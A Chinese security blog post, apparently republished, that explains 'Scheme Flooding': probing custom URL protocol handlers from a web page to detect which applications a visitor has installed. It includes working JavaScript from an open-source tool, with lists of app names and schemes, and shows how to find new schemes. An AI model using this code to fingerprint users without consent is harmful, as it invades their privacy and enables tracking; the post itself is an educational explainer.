通过 Scheme Flooding 达成的本地安装软件痕迹探测浅析

admin 2022年10月8日13:58:20评论48 views字数 4532阅读15分6秒阅读模式

本文章首发于奇安信社区:https://forum.butian.net/share/1885

0x00 简介

Scheme Flooding 的直译叫做「方案泛洪」漏洞,但是以这个关键词拿到百度搜索搜不出啥有用的东西,下文就以 Scheme Flooding 直接表示了,本文将从 效果-成因-反制 三个角度对此技术进行浅析,由于本人也是第一次接触这个漏洞类型,对我也是从零到一的过程,可能会存在错误,望各位师傅斧正,可以加本人微信:liyi19960723讨论

0x01 漏洞效果

其实严格来说我觉得 Scheme Flooding 并不是是个合格的「漏洞」,而更像是对 Scheme 特性的一种「变态」利用,说到这里可能大家还不知道什么是 Scheme Flooding ,为了用户使用体验,许多厂商会选择在一些页面对本地应用进行快速调起,就是百度网盘等各类网盘应用在下载时会提示是否打开的那个功能

通过 Scheme Flooding 达成的本地安装软件痕迹探测浅析

正常来说我们使用的时候都会弹出一个提醒框,但是我们可以饶过此限制批量来调起一些已知的指纹,大家可以在这两个网站看一下效果,会在 Chrome 中单独弹出一个小窗来进行批量探测

增加国内软件指纹:https://tomapu.github.io/schemeflood/

四大浏览器均可:https://schemeflood.com/

通过 Scheme Flooding 达成的本地安装软件痕迹探测浅析

以下是两个网站我的结果,基本上有特征的软件探测都很准确,测试的时候不要进行其他操作,会打断小窗的探测造成效果不准确

通过 Scheme Flooding 达成的本地安装软件痕迹探测浅析

0x02 漏洞成因

什么是 Scheme

上文提到 Scheme Flooding 是 Scheme 特性的一种变态利用,那么 Scheme 是什么呢?

简单来说,Scheme 是一种页面内跳转协议,通过自定义 Scheme 协议可以方便跳转到各类软件,在Android 中应用更加广泛,可以非常方便跳转 App 中的各个页面,在以下场景应用很广泛:

1.通过小程序,利用Scheme协议打开原生App
2.H5页面点击锚点,根据锚点具体跳转路径APP端跳转具体的页面
3.APP端收到服务器端下发的PUSH通知栏消息,根据消息的点击跳转路径跳转相关页面
4.APP根据URL跳转到另外一个APP指定页面
5.通过短信息中的url打开原生app

想知道更多可以通过 Google Git上关于 Scheme 的源码来进行深层次学习:https://chromium.googlesource.com/chromium/src/+/refs/heads/main/chrome/browser/external_protocol/external_protocol_handler.h#125

漏洞基础利用

漏洞利用我找到了两个开源项目 一个是 Fingerprint 安全公司开源的一套检测工具:

https://github.com/fingerprintjs/external-protocol-flooding

另外一个是 drivertom 师傅写的一个更为简洁的工具:

https://github.com/TomAPU/schemeflood

下面我以 drivertom 的开源项目的核心代码在 Chrome 环境下进行基本利用思路的讲解

首先创建了一个新页面,产生的效果就是刚才启动检测时右下角的小框

handler = window.open('about:blank', '', 'width=50,height=50,left=9999,top=9999')

之后引入了 appnamesschemes 两个数据组

appnames=['Skype', 'Spotify', 'Zoom', 'vscode', 'Epic Games', 'Telegram', 'Discord', 'Slack', 'Steam', 'Battle.net', 'Xcode', 'NordVPN', 'Sketch', 'Teamviewer', 'Microsoft Word', 'WhatsApp', 'Postman', 'Adobe', 'Messenger', 'Figma', 'Hotspot Shield', 'ExpressVPN', 'Notion', 'iTunes','Tim','百度网盘','BinaryNinja','evernote','github desktop','onenote','QQ','腾讯会议','xmind','Vmware','360软件管家','acrobat','QQ游戏','shadowsocks','shadowsocksr','v2ray','trojan','naiveproxy','brook','V2rayU']
schemes=['skype', 'spotify', 'zoommtg', 'vscode', 'com.epicgames.launcher', 'tg', 'discord', 'slack', 'steam', 'battlenet', 'xcode', 'nordvpn', 'sketch', 'teamviewerapi', 'word', 'whatsapp', 'postman', 'aem-asset', 'messenger', 'figma', 'hotspotshield', 'expressvpn', 'notion', 'itunes','Tencent','Baiduyunguanjia','BinaryNinja','evernote','github-windows','onenote','QQ','wwauth3rd3a82ac41e00d815d','xmind','vm','softmanager360','acrobat','QQGameProtocol','ss','ssr','vmess','trojan','naive+https','brook','clash']

appnames 为检测应用名称,schemes 我们可以理解为「特征」,例如我们在浏览器搜索框中搜索 skype:// 则会出现是否打开 Skype ,由此可见 appnamesschemes 是相对应的

最后通过遍历所有「特征」对本地安装软件的有效 Schemes 进行匹配,从而实现对本地安装软件痕迹探测,包括一些已卸载的软件卸载时并没有删除 Schemes 路径,所以有些已删除的软件也可被此工具探测出来,完成以上任务后关闭刚才新建的窗口

for(var i=0;i<appnames.length;i++)
        {
            appname=appnames[i];
            scheme=schemes[i];
            let isDetected=true;
            await sleep(125
            input = document.createElement('input')
            input.style.opacity = '0'
            input.style.position = 'absolute'
            input.onfocus = () =>
 { isDetected = false }
            await sleep(125) 
            handler.document.body.appendChild(input);
            handler.location.replace(scheme+"://Message")
            await sleep(125) 
            input.focus()
            await sleep(125)
            input.remove()
            if(isDetected)
                output=document.getElementById('installed')
            else 
                output=document.getElementById('notinstall')
            output.value+='n'+appname
            handler.location.replace("about:blank")
        }
        handler.close()

还有一个通过 CORS 饶过浏览器限制的方法,但是我还没理解是啥意思,以后理解了再单独写一篇文章出来

哪些浏览器&系统收到影响

根据 Fingerprint 公开的数据表示,以下浏览器&系统受此漏洞影响:

  • Chrome 90 (Windows 10, macOS Big Sur)
  • Firefox 88.0.1 (Ubuntu 20.04, Windows 10, macOS Big Sur)
  • Safari 14.1 (macOS Big Sur)
  • Tor Browser 10.0.16 (Ubuntu 20.04, Windows 10, macOS Big Sur)
  • Brave 1.24.84 (Windows 10, macOS Big Sur)
  • Yandex Browser 21.3.0 (Windows 10, macOS Big Sur)
  • Microsoft Edge 90 (Windows 10, macOS Big Sur)

Tor 浏览器已经在 Attachment #9276130 修复了此漏洞,但不排除以其他方式饶过的可能性,其他浏览器也已经发现此问题,但在公开版本中此漏洞仍然有效

通过 Scheme Flooding 达成的本地安装软件痕迹探测浅析

如何找到这些「特征」

在漏洞基础利用中的开源项目创建了schemes 这个数据组,schemes 便是「特征」,这里我以百度网盘为例子演示如何获取应用的「特征」

  1. 随便找到一个资源(这里我找了一部电影,一般小的文件会直接调用浏览器下载)
通过 Scheme Flooding 达成的本地安装软件痕迹探测浅析
  1. 点击【下载】,上方就会提示要打开 baiduyunguanjia 连接,baiduyunguanjia 即为「特征」,这里建议使用火狐浏览器,使用 Chrome 不显示打开 baiduyunguanjia 连接
通过 Scheme Flooding 达成的本地安装软件痕迹探测浅析

其他应用只要找到可以调起相应应用的页面也可以以相同方法找到「特征」

0x03 总结

本来这篇文章还想多说一些的内容的,例如通过 CORS 饶过浏览器限制的方法、红蓝对抗中的利用方法等,奈何本人基础知识太薄弱了,写不出深度,就先不写出来丢人了,想要深入了解可以去看 Fingerprint 的那篇文章,我这篇仅作为一篇科普和原理的浅析,有错误大家多多批评

0x04 引用

  1. Exploiting custom protocol handlers for cross-browser tracking —— Fingerprint
  2. Scheme协议详细介绍 —— 杨充
  3. schemeflood —— drivertom(twitter@drivertomtt)
  4. 中文案排版指北

原文始发于微信公众号(天禧信安):通过 Scheme Flooding 达成的本地安装软件痕迹探测浅析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月8日13:58:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过 Scheme Flooding 达成的本地安装软件痕迹探测浅析https://cn-sec.com/archives/1301548.html

发表评论

匿名网友 填写信息